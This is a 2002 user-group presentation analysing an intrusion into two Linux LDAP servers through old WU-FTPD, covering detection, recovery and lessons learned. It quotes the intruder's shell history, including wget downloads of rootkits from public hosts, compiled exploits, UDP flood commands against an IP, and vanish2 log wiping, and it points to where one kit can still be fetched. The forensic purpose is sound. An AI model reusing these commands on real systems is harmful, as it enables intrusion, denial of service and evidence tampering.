Analysis of Compromised Linux Server

Compromised Linux Servers: An Analysis By: Anand Vaidya, vaidya.anand@gmail.com Presented At: LUGS Meeting on 13-Sep-2002

Agenda

Detect and confirm intrusion, estimate damage

Emergency backup of valid data/files

Analysis details

Rootkits and Massrooters/Autorooters

Best Practices (in theory) and Worst Practices (reality)

Network Layout

Config Details

2x LDAP servers in Master-Slave config

Stores encoded 'authentication codes', Also logs firewall logs

RedHat Linux 7.1, Not a single update after installation about a year ago!

ftp, ldap, ssh, telnet, smtp, ports open to the 'Net

Disk layout:

/=500M, /usr=2000M, /home=5000M,

/var=100M, Swap=350M

First Encounter and Suspicion

I was asked to check the server utilization (CPU/Mem/Network) and recommend HW upgrades, if needed.

Logged in with OpenSSH to 1.2.3.2

After keying in the password, Previous Login from: 64. x.x.x . Whois shows IP belongs to Italian ISP.

Rings a bell: Why should someone login as root from Italy for a server in SG?

So instead of checking system utilization, I go off on another task: To figure out who logged in before me.

[root@ldap2 /root]# ps -ef [root@ldap2 /root]# [root@ldap2 /root]# netstat -vant [root@ldap2 /root]# [root@ldap2 /root]# last root pts/1 a4.net8.pa Thu Apr 20 11:26 still logged in root pts/1 x.y.z.11 Thu Apr 20 11:21 - 11:25 (00:04) hacker pts/1 adsl-petach-tiqw Mon Apr 10 06:58 - 07:30 (00:32) hacker pts/2 adsl-petach-tiqw Wed Apr 5 20:01 - 22:02 (02:01) hacker ftpd12348 adsl-petach-tiqw Wed Apr 5 19:59 - 20:03 (00:04) hacker pts/1 adsl-petach-tiqw Wed Apr 5 19:58 - 22:02 (02:04) hacker pts/1 adsl-petach-tiqw Tue Apr 4 00:47 - 01:38 (00:51) wtmp begins Tue Apr 4 00:47:04 2002

[root@ldap2 /root]# lastlog Username Port From Latest root pts/1 adsl1.net8.pa Thu Apr 20 11:26:10 +0800 2002 bin **Never logged in** daemon **Never logged in** adm **Never logged in** lp **Never logged in** sync **Never logged in** shutdown **Never logged in** halt **Never logged in** mail **Never logged in** news **Never logged in** uucp **Never logged in** operator **Never logged in** games **Never logged in** gopher **Never logged in** Note:The adsl... is me

ftp ftp 66.46.42.2 Wed Feb 10 04:11:08 +0800 2002 nobody **Never logged in** nscd **Never logged in** mailnull **Never logged in** ident **Never logged in** rpc **Never logged in** rpcuser **Never logged in** xfs **Never logged in** admin **Never logged in** kid **Never logged in** ra pts/1 adsl1.net3.pa Thu Apr 20 11:26:10 +0800 2002 hacker pts/1 adsl-petach-tiqw Mon Apr 10 06:58:25 +0800 2002 NOTE: 66.46.42.2 : IP is from Canada, AT&T dialup/adsl Account “ra” is a UID=GID=0, password=”ra”, allowed ftp access the last-but-one line is me testing ra-ftp acct

[root@ldap2 /root]# /sbin/ifconfig eth0 Link encap:Ethernet HWaddr 00:50:8B:D3:AB:1D inet addr:1.2.3.2 Bcast:1.2.3.191 Mask:255.255.255.192 UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1 RX packets:105405624 errors:0 dropped:0 overruns:0 frame:0 TX packets:13046587 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:100 Interrupt:5 Base address:0x3000 lo Link encap:Local Loopback inet addr:127.0.0.1 Mask:255.0.0.0 UP LOOPBACK RUNNING MTU:16436 Metric:1 RX packets:237 errors:0 dropped:0 overruns:0 frame:0 TX packets:237 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:0 [root@ldap2 /root]# Note that Linux kernel does not show “Promiscuous” there are 2 problems: kernel, no promisc proc running

[root@ldap2 /root]# cat /etc/passwd root:x:0:0:root:/root:/bin/bash bin:x:1:1:bin:/bin: daemon:x:2:2:daemon:/sbin: adm:x:3:4:adm:/var/adm: lp:x:4:7:lp:/var/spool/lpd: sync:x:5:0:sync:/sbin:/bin/sync shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown halt:x:7:0:halt:/sbin:/sbin/halt mail:x:8:12:mail:/var/spool/mail: news:x:9:13:news:/var/spool/news: uucp:x:10:14:uucp:/var/spool/uucp: operator:x:11:0:operator:/root: games:x:12:100:games:/usr/games: gopher:x:13:30:gopher:/usr/lib/gopher-data: ftp:x:14:50:FTP User:/var/ftp: nobody:x:99:99:Nobody:/: nscd:x:28:28:NSCD Daemon:/:/bin/false mailnull:x:47:47::/var/spool/mqueue:/dev/null

ident:x:98:98:pident user:/:/bin/false rpc:x:32:32:Portmapper RPC user:/:/bin/false rpcuser:x:29:29:RPC Service User:/var/lib/nfs:/bin/false xfs:x:43:43:X Font Server:/etc/X11/fs:/bin/false admin:x:500:4::/home/admin:/bin/bash kid:x:2764:2764::/:/bin/bash ra:x:0:0::/:/bin/bash hacker:x:2765:2765::/var/hacker:/bin/bash more accounts follow, deleted by anand to shorten the presentation And an extract from /etc/groups: kid:$1$WlLTPQXq$tzU2usdhCMG3KQKAm4JKI0:11776:0:99999:7:::134538460 ra::10865:0:99999:7:::134538460 hacker:$1$L8/uol5e$FqL63oc0Z.s8K0WQkmdvK1:11786:0:99999:7::: [root@ldap2 log]#

[anand@anand anand]$ ftp 1.2.3.1 Connected to1.2.3.1 . 220 ldap1 FTP server (Version wu-2.6.2(2) Sat Dec 22 15:48:35 EET 2001) ready. 530 Please login with USER and PASS. 530 Please login with USER and PASS. KERBEROS_V4 rejected as an authentication type [anand@anand anand]$ ftp 1.2.3.2 Connected to 1.2.3.2. 220 ldap2 FTP server (Version wu-2.6.1-16) ready. 530 Please login with USER and PASS. 530 Please login with USER and PASS. KERBEROS_V4 rejected as an authentication type Name (1.2.3.2:anand): ra 331 Password required for ra. Password: 230 User ra logged in. Remote system type is UNIX. Using binary mode to transfer files. ftp> ls 227 Entering Passive Mode (1,2,3,2,138,61) 150 Opening ASCII mode data connection for directory listing. total 240 drwxr-xr-x 2 root root 2048 Jun 10 07:02 bin drwxr-xr-x 3 root root 1024 Sep 13 2001 boot ....

Apr 16 04:02:01 ldap2 syslogd 1.4-0: restart. Apr 16 04:30:41 ldap2 ftpd[29786]: lost connection to 211.20.12.238 [211.20.12.238] Apr 16 04:30:41 ldap2 ftpd[29786]: FTP session closed Apr 16 05:19:55 ldap2 ftpd[29803]: FTP session closed Apr 16 20:47:05 ldap2 ftpd[30111]: FTP LOGIN REFUSED (ftp in /etc/ftpusers) FROM ANancy-104-1-4-225.abo.wanadoo.fr [80.14.221.225], anonymous Apr 16 20:47:06 ldap2 ftpd[30111]: FTP session closed Apr 17 01:11:18 ldap2 ftpd[30205]: FTP session closed Apr 17 01:14:03 ldap2 ftpd[30206]: FTP session closed Apr 17 01:20:22 ldap2 ftpd[30209]: FTP LOGIN REFUSED (ftp in /etc/ftpusers) FROM rrcs-nys-24-97-176-140.bi z.rr.com [24.97.176.140], ftp Apr 17 01:20:22 ldap2 ftpd[30209]: FTP session closed Apr 18 01:58:58 ldap2 ftpd[30836]: FTP session closed Apr 18 02:01:25 ldap2 ftpd[30846]: FTP session closed Apr 18 02:27:18 ldap2 ftpd[30851]: FTP session closed Apr 18 02:29:54 ldap2 ftpd[30852]: FTP session closed Apr 18 10:45:06 ldap2 ftpd[31157]: FTP LOGIN REFUSED (ftp in /etc/ftpusers) FROM pD9E18307.dip.t-dialin.ne t [217.225.131.7], anonymous

[root@ldap2 /root]# top n 1 b PID USER PRI NI SIZE RSS SHARE STAT %CPU %MEM TIME COMMAND 1 root 8 0 124 72 52 S 0.0 0.0 0:04 init 2 root 9 0 0 0 0 SW 0.0 0.0 0:00 keventd 3 root 9 0 0 0 0 SW 0.0 0.0 0:00 kswapd 4 root 9 0 0 0 0 SW 0.0 0.0 0:00 kreclaimd 5 root 9 0 0 0 0 SW 0.0 0.0 0:00 bdflush 6 root 9 0 0 0 0 SW 0.0 0.0 0:00 kupdated 7 root -1 -20 0 0 0 SW< 0.0 0.0 0:00 mdrecoveryd 524 root 9 0 352 332 252 S 0.0 0.2 0:28 syslogd 529 root 9 0 992 656 344 S 0.0 0.5 0:00 klogd 679 root 9 0 132 44 28 S 0.0 0.0 0:00 automount 691 daemon 9 0 108 44 44 S 0.0 0.0 0:00 atd 706 root 9 0 660 592 488 S 0.0 0.4 0:20 sshd 726 root 9 0 668 600 456 S 0.0 0.4 0:00 xinetd 767 root 8 0 1296 996 776 S 0.0 0.7 0:00 sendmail 780 root 9 0 108 52 36 S 0.0 0.0 0:00 gpm 792 root 9 0 2840 864 672 S 0.0 0.6 0:00 nessusd 804 root 9 0 588 580 536 S 0.0 0.4 0:00 crond 840 xfs 9 0 3664 2496 956 S 0.0 1.9 0:00 xfs 866 root 9 0 5120 4976 1144 S 0.0 3.9 0:00 slapd

872 root 9 0 64 4 4 S 0.0 0.0 0:00 mingetty 873 root 9 0 64 4 4 S 0.0 0.0 0:00 mingetty 874 root 9 0 2848 2632 2444 S 0.0 2.0 0:00 kdm 879 root 9 0 5120 4976 1144 S 0.0 3.9 0:00 slapd 880 root 9 0 5120 4976 1144 S 0.0 3.9 0:23 slapd 884 root 9 0 12540 12M 1772 S 0.0 9.8 0:00 X 888 root 8 0 4720 4188 3808 S 0.0 3.3 0:00 kdm 937 root 9 0 1132 936 732 S 0.0 0.7 0:00 slapd 942 root 9 0 5120 4976 1144 S 0.0 3.9 2:17 slapd 944 root 9 0 5120 4976 1144 S 0.0 3.9 2:16 slapd 8214 hacker 9 0 504 504 424 S 0.0 0.3 0:00 bnc 20750 root 9 0 660 660 548 S 0.0 0.5 0:00 nfsd 32407 root 9 0 612 608 540 S 0.0 0.4 0:00 crond 32408 root 8 0 908 908 768 S 0.0 0.7 0:00 run-parts 32410 root 9 0 552 552 464 S 0.0 0.4 0:00 awk 32411 root 9 0 880 880 756 S 0.0 0.6 0:00 sa1 32413 root 9 0 512 512 448 S 0.0 0.4 0:00 sadc 32485 root 10 0 1848 1828 1480 R 0.0 1.4 0:00 sshd 32486 root 11 0 1352 1352 1024 S 0.0 1.0 0:00 bash 32555 root 12 0 1024 1024 828 R 0.0 0.8 0:00 top [root@ldap2 /root]#

[root@ldap1 /tmp]# ls -la /tmp total 9 drwxrwxrwt 9 root root 1024 Jun 24 10:48 . drwxr-xr-x 3 501 ftp 1024 Jun 17 03:41 ., [root@ldap2 mail]# cat /var/hacker/ .bash_history .bash_profile .emacs .screenrc Mail m.tgz .bash_logout .bashrc .kde Desktop a [root@ldap2 mail]# cat /var/hacker/ [root@ldap2 myrk]# cat ./ .1addr linsniffer ps ssh_random_seed tcp.log .1file lpd pwd sshd utils .1proc ls sense sshd_config wipe hideps netstat ssh_host_key string install new-host ssh_host_key.pub sysinfo Notes: The directory ".," (dot-comma) created by the intruder. Linsniffer stores the log in a file called tcp.log I had to use “cat <tab>” since “ls” was trojaned, and would not list anything at all!

bnc 8214 hacker cwd DIR 72,7 0 10082 /var/hacker/bnc2.6.4 (deleted) bnc 8214 hacker rtd DIR 72,8 1024 2 / bnc 8214 hacker txt REG 72,7 25784 10111 /var/hacker/bnc2.6.4/bnc (deleted) bnc 8214 hacker mem REG 72,8 471781 44354 /lib/ld-2.2.2.so bnc 8214 hacker mem REG 72,8 445289 44372 /lib/libnsl-2.2.2.so bnc 8214 hacker mem REG 72,8 274054 44401 /lib/libresolv-2.2.2.so bnc 8214 hacker mem REG 72,8 95362 44365 /lib/libcrypt-2.2.2.so bnc 8214 hacker mem REG 72,8 5634864 4035 /lib/i686/libc-2.2.2.so bnc 8214 hacker 0u CHR 136,0 2 /dev/pts/0 bnc 8214 hacker 1u CHR 136,0 2 /dev/pts/0 bnc 8214 hacker 2u CHR 136,0 2 /dev/pts/0 bnc 8214 hacker 3u IPv4 272344 TCP *:12300 (LISTEN Note: Look at this block copied from LSOF: He has installed/started IRC bouncer (bnc) and deleted the files. Other such processes were: sysd, running in place of sshd, a fake nfsd ( what was that meant for? )

Active Internet connections (servers and established) Proto Recv-Q Send-Q Local Address Foreign Address State tcp 0 0 0.0.0.0:389 0.0.0.0:* LISTEN tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN tcp 0 0 0.0.0.0:6010 0.0.0.0:* LISTEN tcp 1 0 1.2.3.1:21 62.211.226.191:51221 CLOSE_WAIT tcp 0 48 1.2.3.1:22 mylaptop:40657 ESTABLISHED tcp 0 0 1.2.3.1:389 another_legitserver:4746 ESTABLISHED [root@ldap1 /root]# Note: With my version of netstat The FTP connection just hangs, since firewall is blocking outgoing FTP, See the IP 62.x.x.x in Foreign Address column?

[root@ldap2 myrk]#tail /etc -n 10 /etc/rc.d/rc.sysinit dmesg > /var/log/dmesg sleep 1 kill -TERM `/sbin/pidof getkey` >/dev/null 2>&1 } & if [ "$PROMPT" != "no" ]; then /sbin/getkey i && touch /var/run/confirm fi wait nfsd -q -p 54789 This is not a real NFS daemon! It listens for commands of some sort, though I could not figure out what exactly it was meant for

[root@ldap2 myrk]# cat /var/hacker/.bash_history~ wget http://www.angelfire.com/yt3/nblio/black.tar.gz;rm -r black.tar.gz exec ./a 8245 wget http://www.angelfire.com/yt3/nblio/black.tar.gz;rm -r black.tar.gz ls rm -r m2.tar.gz perl udp.pl 62.0.115.207 0 0 rm -r a.c ls gcc -o p packit.c ls ./p 62.0.115.207 0 ./p 62.0.115.207 0 ls bash_history was fine, shows only legit traffic. I found a bash_history~ (created by vi or did he copy?) that shows intruder activity!

rm -r packit.c rm -r udp.pl rm -r p tar xvfz bnc2.6.4.tar.gz;cd bnc2.6.4;./configure;make;./bncsetup ./bncsetup ./bnc ./bnc ./bnc ./bnc killall -9 bnc ./bnc pico bnc.conf cd .. ls rm -r bnc2.6.4 rm -r bnc2.6.4.tar.gz gcc -o a a.c;rm -r a.c;./a ls ./a ./a 1.2.3

ls rm -r a gcc -o a a.c;rm -r a.c;./a wget http://download.microsoft.com/download/win2000pro/Update/8.1/NT5/EN-US/DX81NTeng.exe;rm -r DX81NTeng.exe wget http://download.microsoft.com/download/win2000pro/Update/8.1/NT5/EN-US/DX81NTeng.exe;rm -r DX81NTeng.exe ls;w;ls wget http://download.microsoft.com/download/win2000pro/Update/8.1/NT5/EN-US/DX81NTeng.exe;rm -r DX81NTeng.exe ls;w wget http://home.dal.net/oc248/m.tgz Note: Why download DirectX from MS? What was he trying to do? There is nothing at home.dal.net now.

wget http://www.angelfire.com/yt3/nblio/black.tar.gz;rm -r black.tar.gz exec ./a 12355 exec ./a 12373 cd myrk; pico install; cd myrk ./install ./a wget http://home.dal.net/oc248/m.tgz ls tar xvfz m.tgz ./a exec ./a 20689 cd myrk pico install cd .. ./a mutt;exit [root@ldap2 myrk]# Note: The file black.tar.gz is still available at angelfire. Go get it if you want to analyse further.

269 ipconfig 270 ifconfig 271 exirt 272 exit 273 cd costy 274 ls 275 id 276 cd logdel/ 277 export blah=freekevin 278 ./vanish2 sysd ti221110a080-0520.bb.online.no 80.213.2.8 279 cd /home/ 280 ls 281 cd TTX/ 282 ls; cd .. 284 cd admin/ 285 ls 286 cd Desktop/

304 cd root/ 305 ls 306 last 307 cd /tmp/., 308 ls 309 rm -rf chmrk-0.3.tgz 310 cd ., 311 ls 312 cd /etc/ 313 cat passwd 314 who 314 who 315 pico passwd 316 export TERM=vt100 317 pico passwd 318 pico shadow 319 cd /var/tmp 320 mkdir ., 321 cd ., 322 ls 323 wget www.geocities.com/freeaxcess/chmrk-0.9.tgz

324 wget www.geocities.com/freeaxcess/chmrk-0.9.tgz 325 ping www.geocities.com 326 cd /tmp/., 327 la; ls ; cd ., ; ls 331 alias ls="ls --color=always" 332 ls -la 333 cd logdel 334 ls 335 ./vanish2 336 expotr blah=768 337 export blah=768 338 ls 339 ./vanish2 340 export blah768=freekevin 341 ./vanish2 342 ./vanish2 sysd crionized.net 217.8.139.50 VANISH2 is used to erase any traces left behind (syslogs, utmp, wtmp etc)

Root Kit Details

Two kits used: “myrk/lrk” and “black”: These have a complete set of tools to hide netstat, ps, etc to hide the intruder's activity

Sysd seems legit, but is a sshd replacement that silently accepts logins

“Black” kit is actually a massrooter: kind-of uber-tool. surprisingly google won't show much on this (atleast turned up 0 results when I did a search then). It has exploits for lpd, rpc-statd, ftpd, bind, passwd bruteforcer etc.

Includes ssh-scan, fingerprinting, portscanner, DoS tool and more!

Massrooter, autorooters

New dangerous tool that scans thousands of IP addresses, looking for open ports.

Once an open port is found, attempts to get the version if reqd (say wuftpd, proftpd-pre etc), and runs the exploit.

Installs the backdoor and emails the intruder!

If managed properly, can yield hundreds of rooted servers in a day

The code does not seem to patch the vuln.s or lock the ports after 0wning the system, subsequent attackers can run exploits!

File Details: [anand@aries massrooter]$ ls 1* lpd.conf packet.pl s* ssh/ wum.c ybsd* YRH* bind/ Makefile portscan.c scan* targets wus* YBSD* YRH.c brute* p* pscan.c scan.conf targets.txt wus.c YBSD.c ftpd/ packet* r00t* sec* wu* xinetd* ylpd* lpd/ packet.c rpc/ src/ wum* xinetd.c ylpd.c [anand@aries massrooter]$ Notes: wum, wus, ftpd/ contain FTP exploits similar comments for lpd bind rpc etc., packet.pl is a DoS tool r00t is a script that runs the attacks against the selected hosts

Risks of Getting Cracked

Your reputation is at stake, who will give you business if you have poor reputation?

Information loss, loss of revenue, warez traffic

DoS, UCE, other attacks originating from your site

Getting blacklisted (RBL,DNSBL, dshield.org)

Legal implications (esp in US: HIPAA etc), I am trying to figure out what happens in SG, where the law enforcement is stricter and more efficient...

Summary: What Happened

The sequence I reconstructed is as follows:

The cracker scans for vulnerable systems. Finds L2 has buggy WU-FTPD, uses a remote exploit to break-in See: http://www.cert.org/advisories/CA-2001-33.html (My guess that the globbing related errors were used to gain root access)

Creates 2 accounts for himself to login later ( user = ra , user = hacker). The account had UID=0 (same as root). Sets up the Secure Shell keys

Alters system startup file to start listeners for him to login later (nfsd, via /etc/rc.d/rc.sysinit)

Downloads rootkits from DALNET IRC servers, compiles, installs. Replaces several system tools (ls, ps, netstat, etc) with his trojaned versions.

Starts up the services necessary for subsequent logins, and deletes all the kits he has downloaded to wipe out the traces

Summary: Recovery

After detecting the intrusion, here's how they were recovered:

Avoid initiating logins, initiating scp etc from L1, L2. Initiate all traffic from my laptop.

Identify critical data: LDAP database. use ldapsearch from my laptop to collect the LDAP data. Ssh and get the crypt-pw, schema files & other ldap config files.

Since ls, sshd etc were trojaned, 'clean version' of tools (lsof, ls, ps,netstat, ifconfig etc) scp'd to remote, start my sshd on port 7022. Kill listener (sysd) on 22, fake nfsd, and other backdoors.

Since further forensics (TCT etc) was ruled out, collected enough raw data to analyse further and shutdown both servers

Reinstalled both servers with another recent Linux distro, properly configured, tested, reinstalled ldap data (ldapadd) and released to production.

Summary: What damage was done?

From what I could trace:

The kit was made by someone in [email_address] .co.il (most likely used by someother person)

The intruder had no specific reason to attack these systems.There was no 'interesting' data on the servers for the intruder.

His skill levels were poor. Though he attempted to wipe out fingerprints, he had actually left a lot!

He has used the servers to scan the internal network, and compromise other vulnerable systems on the Net.

Used the servers as a store for malware ( rootkits etc), bounce IRC sessions (bnc)

What Are The Lessons?

Do not be complacent: Linux can be only secure if you invest time and effort to keep it that way

You need not be a juicy target to get attacked, Your server will be used to launch further attacks elsewhere

Read bugtraq, your vendors' update release notes.

UPDATE, UPDATE, UPDATE! Patch/Update aggressively, especially exposed servers, servers use by many,many people (mail, file etc).

Figure out what services, open ports are needed, never accept defaults without knowing what the default implies.Firewall all/almost all of them.

Use private(RFC1918) nets extensively

Suggestions

Be paranoid, but use commonsense

Hire a security conscious admin, security is a full time job, cannot be done by part-timers

Segregate, minimise access (eg: Office servers - office desktops - production servers - staging nets - security scanning laptops -honeynets. Segregate by functionality: Firewall does only filtering, port forwarding. Webserver runs Apache only and nothing else and so on.